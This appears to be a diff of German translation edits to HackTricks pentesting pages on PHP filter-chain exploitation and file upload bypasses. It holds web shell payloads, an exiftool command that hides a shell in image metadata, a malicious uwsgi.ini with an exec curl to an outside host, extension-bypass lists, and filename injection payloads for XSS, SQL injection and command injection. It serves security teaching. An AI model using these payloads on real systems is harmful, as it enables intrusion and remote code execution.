+2. wende eine Kette von iconv-Konversionen an, die unseren initialen base64 intakt lässt und den gerade vorangestellten Teil in einen String umwandelt, in dem das einzige gültige base64-Zeichen der nächste Teil unseres base64-kodierten php-Codes ist
+3. base64-decode und base64-encode den String, wodurch Zwischenmüll entfernt wird
+4. Geh zurück zu 1, wenn das zu erzeugende base64 noch nicht fertig ist
+5. base64-decode um unseren php code zu erhalten

 > [!WARNING]
-> **Includes** fügen normalerweise Dinge wie das **Anhängen von ".php" am Ende** der Datei hinzu, was die Ausnutzung erschweren kann, weil man eine .php-Datei finden müsste, deren Inhalt den Exploit nicht verhindert... oder man **könnte einfach `php://temp` als resource** verwenden, weil es **jedes beliebige Zeichen an den Namen anhängen kann** (lie +".php") und der Exploit trotzdem funktioniert!
+> **Includes** hängen normalerweise z. B. **\".php\" an das Ende** der Datei an, was die Ausnutzung erschweren kann, weil man eine .php-Datei mit einem Inhalt finden müsste, der den Exploit nicht zerstört... oder man **könnte einfach `php://temp` als resource** verwenden, da an dessen Namen **alles angehängt werden kann** (z. B. lie +".php") und der Exploit trotzdem funktioniert!

-## Wie man dem resultierenden String außerdem Suffixe hinzufügt
+## How to add also suffixes to the resulting data

-[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) wie man PHP filters weiterhin missbrauchen kann, um Suffixe an den resultierenden String anzuhängen. Das ist nützlich, falls die Ausgabe ein bestimmtes Format haben muss (wie json oder das Hinzufügen einiger PNG-Magic-Bytes).
+[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) wie man weiterhin PHP filters missbrauchen kann, um Suffixe an den resultierenden String anzuhängen. Das ist nützlich, falls die Ausgabe ein bestimmtes Format haben muss (wie json oder zum Hinzufügen von PNG magic bytes)

-## Automatische Tools
+## Automatic Tools

 - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(kann Suffixe hinzufügen)**
+- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**

-## Vollständiges Skript
+## Full script
 ```python
 import requests

@ -96,7 +96,7 @@ print(r.text)
 ```
 ### Verbesserungen

-Das vorherige Skript ist auf die base64-Zeichen beschränkt, die für diesen payload benötigt werden. Daher habe ich mein eigenes Skript erstellt, um alle base64-Zeichen zu bruteforcen:
+Das vorherige Skript ist auf die base64-Zeichen beschränkt, die für diesen Payload benötigt werden. Deshalb habe ich mein eigenes Skript erstellt, um **bruteforce all the base64 characters**:
 ```php
 conversions = {
 '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -165,7 +165,7 @@ conversions = {
 '=': ''
 }
 ```
-Hier ist das **script**, um encodings zu erhalten, die jeden b64-Buchstaben erzeugen:
+Hier ist das **script**, um die Encodings zu erhalten, die jeden b64-Buchstaben erzeugen:
 ```php
 <?php

@ -254,7 +254,7 @@ find_vals($init);
 ## Weitere Referenzen

 - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
+- [The Art of PHP: CTF‑entstandene exploits und Techniken](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)


 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@ -1,13 +1,13 @@
-# Datei-Upload
+# File Upload

 {{#include ../../banners/hacktricks-training.md}}

-## Allgemeine Methodik zum Datei-Upload
+## File Upload - Allgemeine Methodik

-Other useful extensions:
+Andere nützliche Erweiterungen:

 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
+- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
 - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@ Other useful extensions:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_

-### Umgehen von Dateierweiterungsprüfungen
+### Umgehung von Prüfungen der Dateiendungen

-1. Falls zutreffend, überprüfe die **vorherigen Erweiterungen.** Teste sie auch mit **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
-2. _Prüfe **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungserweiterung (verwende auch die vorherigen Erweiterungen):_
+1. Falls angewendet, überprüfe die **vorherigen Extensions**. Teste sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
+2. _Teste **das Hinzufügen einer gültigen Extension vor** der Ausführungs-Extension (verwende auch die vorherigen Extensions):_
 - _file.png.php_
 - _file.png.Php5_
-3. Versuche, **Sonderzeichen am Ende** hinzuzufügen. Du könntest Burp benutzen, um alle **ascii** und **Unicode** Zeichen zu **bruteforcen**. (_Hinweis: Du kannst auch versuchen, die **vorher** genannten **Erweiterungen** zu verwenden_)
+3. Versuche, **Sonderzeichen am Ende** hinzuzufügen. Du kannst Burp nutzen, um alle **ascii** und **Unicode** Zeichen zu **bruteforcen**. (_Beachte, dass du auch die **zuvor** genannten **Extensions** verwenden kannst_)  
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Versuche, den Schutz zu umgehen, indem du den **Extension-Parser** auf Serverseite täuschst — z. B. durch **Verdoppeln** der **Erweiterung** oder **Einfügen von Junk-Daten** (**null bytes**) zwischen den Erweiterungen. _Du kannst auch die **vorherigen Erweiterungen** nutzen, um ein besseres Payload vorzubereiten._
+4. Versuche, die Protektionen zu umgehen, indem du den Extension-Parser auf Serverseite **täuschst**, z. B. durch **Doppeln** der **Extension** oder Einfügen von **Junk**-Daten (**null** bytes) zwischen den Extensions. _Du kannst auch die **vorherigen Extensions** nutzen, um ein besseres Payload vorzubereiten._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@ -40,13 +40,13 @@ Other useful extensions:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Füge **weitere Erweiterungs-Schichten** zu den vorherigen Checks hinzu:
+5. Füge **eine weitere Schicht von Extensions** zu den vorherigen Checks hinzu:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Versuche, die **Ausführungserweiterung vor der gültigen Erweiterung** zu platzieren und hoffe auf eine Fehlkonfiguration des Servers. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung **.php**, aber **nicht unbedingt endend auf .php**, Code ausführt):
+6. Versuche, die **Exec-Extension vor der gültigen Extension** zu platzieren und hoffe, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Extension **.php**, aber **nicht notwendigerweise endend auf .php**, Code ausführt):
 - _ex: file.php.png_
-7. Verwendung von **NTFS alternate data stream (ADS)** unter **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird auf dem Server eine **leere Datei mit der verbotenen Erweiterung** erstellt (z. B. "file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z. B. über ihren Short Filename. Das Muster "**::$data**” kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktes nach diesem Muster hilfreich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.”)
-8. Versuche, die Dateinamenlimits zu durchbrechen. Die gültige Erweiterung wird abgeschnitten, und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
+7. Verwendung von **NTFS alternate data stream (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Extension und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Extension** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später mit anderen Techniken bearbeitet werden, z. B. über ihren Short Filename. Das Muster "**::$data**” kann ebenfalls verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktes nach diesem Muster helfen, weitere Restriktionen zu umgehen (z. B. "file.asp::$data.")
+8. Versuche, die Dateinamensgrenzen zu sprengen. Die gültige Extension wird abgeschnitten und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php

 ```
 # Linux maximum 255 bytes
@ -59,56 +59,56 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAA<--SNIP 232 A-->AAA.php.png
 ```

-### Content-Type, Magic Number, Kompression & Größenänderung umgehen
+### Umgehung von Content-Type, Magic Number, Kompression & Resizing

- Umgehe **Content-Type**-Prüfungen, indem du den **Wert** des **Content-Type** **Headers** auf setzt: _image/png_ , _text/plain , application/octet-stream_
-1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Umgehe die **magic number**-Prüfung, indem du am Anfang der Datei die **Bytes eines echten Bildes** einfügst (verwirrt das _file_-Kommando). Oder platziere die Shell in den **Metadaten**:\
+- Umgehung von **Content-Type** Checks, indem der **Wert** des **Content-Type** Headers auf gesetzt wird: _image/png_ , _text/plain , application/octet-stream_
+1. Content-Type **Wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
+- Umgehung der **Magic Number** Prüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** eingefügt werden (verwirrt das _file_ Kommando). Oder man fügt das Shell-Skript in die **Metadaten** ein:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` oder du könntest das Payload auch direkt in ein Bild einfügen:\
+`\` oder man könnte das Payload **direkt in ein Bild einfügen**:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Falls **Kompressionen auf dein Bild angewendet** werden, z. B. durch Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Du kannst jedoch den **PLTE chunk** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die Webseite könnte das **Bild außerdem skalieren**, z. B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch den **IDAT chunk** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Eine weitere Technik, um ein Payload zu erstellen, das eine Bildskalierung übersteht (z. B. die PHP-GD-Funktion `thumbnailImage`), ist die Verwendung des **tEXt chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), um Text einzufügen, der die **Kompression überlebt**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
+- Falls eine **Kompression** auf das Bild angewendet wird, z. B. durch Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken oft nicht nützlich. Du könntest jedoch das **PLTE chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
+- Die Webseite könnte das **Bild auch skalieren**, z. B. mit den PHP-GD Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch das **IDAT chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
+- Eine weitere Technik, um ein Payload zu erstellen, das **einem Image-Resizing standhält**, verwendet die PHP-GD Funktion `thumbnailImage`. Du kannst auch das **tEXt chunk** [**im hier definierten Verfahren**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)

 ### Weitere Tricks zum Prüfen

- Finde eine Verwundbarkeit, um die bereits hochgeladene Datei umzubenennen (um die Erweiterung zu ändern).
- Finde eine **Local File Inclusion**-Vulnerability, um den Backdoor auszuführen.
- **Mögliche Informationsoffenlegung**:
-1. Lade die **gleiche Datei** **mehrfach** (und gleichzeitig) mit **dem selben Namen** hoch.
+- Finde eine Verwundbarkeit, die es erlaubt, die bereits hochgeladene Datei **umzubenennen** (um die Extension zu ändern).
+- Finde eine **Local File Inclusion** Verwundbarkeit, um die Backdoor auszuführen.
+- **Mögliche Informationslecks**:
+1. Lade **mehrfach** (und zur **gleichen Zeit**) dieselbe Datei mit demselben Namen hoch.
 2. Lade eine Datei mit dem **Namen** einer **bereits existierenden Datei** oder eines **Ordners** hoch.
-3. Lade eine Datei mit dem Namen `"."`, `".."` oder `"..."` hoch. Zum Beispiel erzeugt in Apache unter **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert, der Dateiname "." eine Datei namens "uploads" im Verzeichnis "/www/".
-4. Lade eine Datei hoch, die sich nicht leicht löschen lässt, z. B. **"...:.jpg"** in **NTFS**. (Windows)
-5. Lade eine Datei auf **Windows** mit **ungültigen Zeichen** wie `|<>*?”` im Namen hoch. (Windows)
-6. Lade eine Datei auf **Windows** mit reservierten (**verbotenen**) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
- Versuche außerdem, eine ausführbare Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die beim versehentlichen Öffnen durch ein Opfer Code ausführt.
+3. Lade eine Datei mit dem Namen **"."**, **".."** oder **"…"** hoch. Beispielsweise erstellt in Apache unter **Windows** der Dateiname "." eine Datei namens "uploads" im Verzeichnis "/www/", wenn die Anwendung die hochgeladenen Dateien im Verzeichnis "/www/uploads/" speichert.
+4. Lade eine Datei, die nicht leicht gelöscht werden kann, wie z. B. **"…:.jpg"** unter **NTFS**. (Windows)
+5. Lade eine Datei in **Windows** mit **ungültigen Zeichen** im Namen wie `|<>*?”`. (Windows)
+6. Lade eine Datei in **Windows** mit reservierten (**verbotenen**) Namen wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9.
+- Versuche außerdem, eine **executable** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.

-### Spezielle Erweiterungs-Tricks
+### Spezielle Extension-Tricks

-Wenn du Dateien auf einen **PHP server** hochladen willst, [sieh dir den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-Wenn du Dateien auf einen **ASP server** hochladen willst, [sieh dir den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+Wenn du versuchst, Dateien auf einen **PHP server** hochzuladen, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+Wenn du versuchst, Dateien auf einen **ASP server** hochzuladen, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).

-Die `.phar` Dateien sind wie `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (mit php ausgeführt oder innerhalb eines Scripts inkludiert werden...).
+Die `.phar` Dateien sind wie `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (mit php ausgeführt oder in ein Script included werden...).

-Die `.inc` Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren von Dateien** dienen; daher könnte es sein, dass diese Erweiterung an einer Stelle **zur Ausführung erlaubt** wurde.
+Die `.inc` Extension wird manchmal für PHP-Dateien verwendet, die nur zum **Importieren** von Dateien dienen, daher könnte an irgendeinem Punkt diese **Extension zur Ausführung erlaubt worden sein**.

 ## **Jetty RCE**

-Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei nach `$JETTY_BASE/webapps/` hoch und erwarte die Shell!
+Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarte die Shell!

 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)

 ## **uWSGI RCE**

-Für eine detaillierte Untersuchung dieser Verwundbarkeit sieh dir die Originalrecherche an: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+Für eine detaillierte Untersuchung dieser Verwundbarkeit siehe die Original-Recherche: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).

-Remote Command Execution (RCE) vulnerabilities können auf uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu verändern. uWSGI-Konfigurationsdateien verwenden eine spezielle Syntax, die "magische" Variablen, Platzhalter und Operatoren unterstützt. Insbesondere der '@' Operator, eingesetzt als `@(filename)`, ist dafür gedacht, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten Schemes ist das "exec" scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann manipuliert werden, um Remote Command Execution oder Arbitrary File Write/Read zu ermöglichen, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
+Remote Command Execution (RCE) Verwundbarkeiten können bei uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini` Konfigurationsdatei zu verändern. uWSGI Konfigurationsdateien verwenden eine spezielle Syntax, um "magische" Variablen, Platzhalter und Operatoren einzubinden. Insbesondere der '@' Operator, verwendet als `@(filename)`, ist dafür vorgesehen, den Inhalt einer Datei einzubinden. Unter den verschiedenen in uWSGI unterstützten Schemes ist das "exec" scheme besonders mächtig, da es das Lesen von Daten aus der Standardausgabe eines Prozesses erlaubt. Diese Funktion kann für bösartige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read missbraucht werden, wenn eine `.ini` Konfigurationsdatei verarbeitet wird.

-Betrachte das folgende Beispiel einer bösartigen `uwsgi.ini`-Datei, das verschiedene schemes zeigt:
+Betrachte das folgende Beispiel einer schädlichen `uwsgi.ini` Datei, die verschiedene Schemes demonstriert:
 ```ini
 [uwsgi]
 ; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Crash oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss für auto-reload konfiguriert sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
+Die Ausführung des payloads erfolgt während des Parsings der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (potenziell nach einem Crash oder aufgrund eines Denial of Service) oder die Datei muss auf auto-reload gesetzt sein. Die auto-reload-Funktion, falls aktiviert, lädt die Datei in festgelegten Intervallen neu, sobald Änderungen erkannt werden.

-Es ist wichtig, die lockere Art der Verarbeitung von uWSGI-Konfigurationsdateien zu verstehen. Konkret kann der besprochene payload in eine Binärdatei (z. B. ein Bild oder PDF) eingefügt werden, was die Angriffsfläche weiter vergrößert.
+Es ist entscheidend, die lockere Natur des Parsing der Konfigurationsdateien von uWSGI zu verstehen. Konkret kann der besprochene payload in eine binäre Datei (wie ein Bild oder PDF) eingefügt werden, wodurch der mögliche Exploit-Bereich weiter vergrößert wird.

 ## **wget File Upload/SSRF Trick**

-In einigen Fällen stellt man fest, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und man die **URL** angeben kann. In diesen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. Allerdings lässt sich **dieser Check umgehen.**\
-Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Du kannst eine Datei namens **"A"\*232+".php"+".gif"** herunterladen; dieser Dateiname wird die **Prüfung umgehen** (in diesem Beispiel ist **".gif"** eine **gültige** Erweiterung), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
+In einigen Fällen kann es vorkommen, dass ein Server **`wget`** verwendet, um **Dateien herunterzuladen**, und man die **URL** angeben kann. In solchen Fällen prüft der Code möglicherweise, ob die Extension der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. **Diese Prüfung kann jedoch umgangen werden.**\
+Die **maximale** Länge eines **Dateinamens** in **linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Man kann **eine Datei namens "A"\*232+".php"+".gif" herunterladen**, dieser Dateiname wird die **Prüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Extension ist), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================

 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Beachte, dass **eine andere Option**, die dir vielleicht einfällt, um diese Prüfung zu umgehen, darin besteht, den **HTTP server so umzuleiten, dass er auf eine andere Datei zeigt**, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die umgeleitete Seite mit dem Namen der Datei aus der ursprünglichen URL herunterladen wird**.
+Beachte, dass **eine andere Option**, die dir möglicherweise einfällt, um diese Prüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Prüfung umgeht und wget dann die umgeleitete Datei mit dem neuen Namen herunterlädt. Das **funktioniert nicht**, **es sei denn** wget wird mit dem **Parameter** `--trust-server-names` verwendet, weil **wget die umgeleitete Seite mit dem Namen der Datei herunterladen wird, der in der ursprünglichen URL angegeben ist**.

-## Tools
+## Werkzeuge

- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein mächtiges Tool, das entwickelt wurde, um Pentesters und Bug Hunters beim Testen von file upload-Mechanismen zu unterstützen. Es nutzt verschiedene bug bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und so gründliche Bewertungen von Webanwendungen zu ermöglichen.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentesters und Bug Hunters dabei unterstützt, file upload-Mechanismen zu testen. Es nutzt verschiedene bug bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und so gründliche Bewertungen von Webanwendungen zu ermöglichen.

 ### Corrupting upload indices with snprintf quirks (historical)

-Einige veraltete upload handler, die `snprintf()` oder ähnliches verwenden, um multi-file arrays aus einem single-file upload zu bauen, können dazu gebracht werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im Verhalten von `snprintf()` kann ein sorgfältig gestalteter single upload auf der Serverseite als mehrere indizierte Dateien erscheinen und Logik verwirren, die eine strikte Form annimmt (z. B. als multi-file upload behandelt und unsichere Pfade wählt). Obwohl heute nischenhaft, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älteren Codebasen wieder auf.
+Einige veraltete Upload-Handler, die `snprintf()` oder ähnliches verwenden, um multi-file arrays aus einem single-file upload zu bauen, können dazu verleitet werden, die `_FILES`-Struktur zu fälschen. Aufgrund von Inkonsistenzen und Abschneidungen im Verhalten von `snprintf()` kann ein sorgfältig gestalteter einzelner Upload auf der Serverseite als mehrere indizierte Dateien erscheinen und somit Logik verwirren, die eine feste Form annimmt (z. B. ihn als multi-file upload behandelt und unsichere Pfade wählt). Obwohl heute eher nischig, taucht dieses „index corruption“-Muster gelegentlich in CTFs und älterem Code wieder auf.

-## From File upload to other vulnerabilities
+## Vom File-Upload zu anderen Schwachstellen

 - Setze **filename** auf `../../../tmp/lol.png` und versuche, einen **path traversal** zu erreichen
 - Setze **filename** auf `sleep(10)-- -.jpg` und du könntest eine **SQL injection** erreichen
- Setze **filename** auf `<svg onload=alert(document.domain)>` um ein XSS zu erreichen
+- Setze **filename** auf `<svg onload=alert(document.domain)>` um eine **XSS** zu erzielen
 - Setze **filename** auf `; sleep 10;` um einige command injection-Fälle zu testen (mehr [command injections tricks here](../command-injection.md))
 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Probiere **verschiedene svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+- Probiere **different svg payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Wenn du dem web server mitteilen kannst, ein image von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einem **öffentlichen** Ort gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen jedes Besuchers stehlen**.
+- Wenn du dem Webserver **anweisen** kannst, ein Bild von einer URL zu holen, könntest du versuchen, ein [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **image** an einem **öffentlichen** Ort gespeichert wird, könntest du auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen jedes Besuchers stehlen**.
 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn du PDFs uploaden kannst, könntest du ein PDF vorbereiten, das beliebiges JS gemäß den gegebenen Anweisungen ausführt.
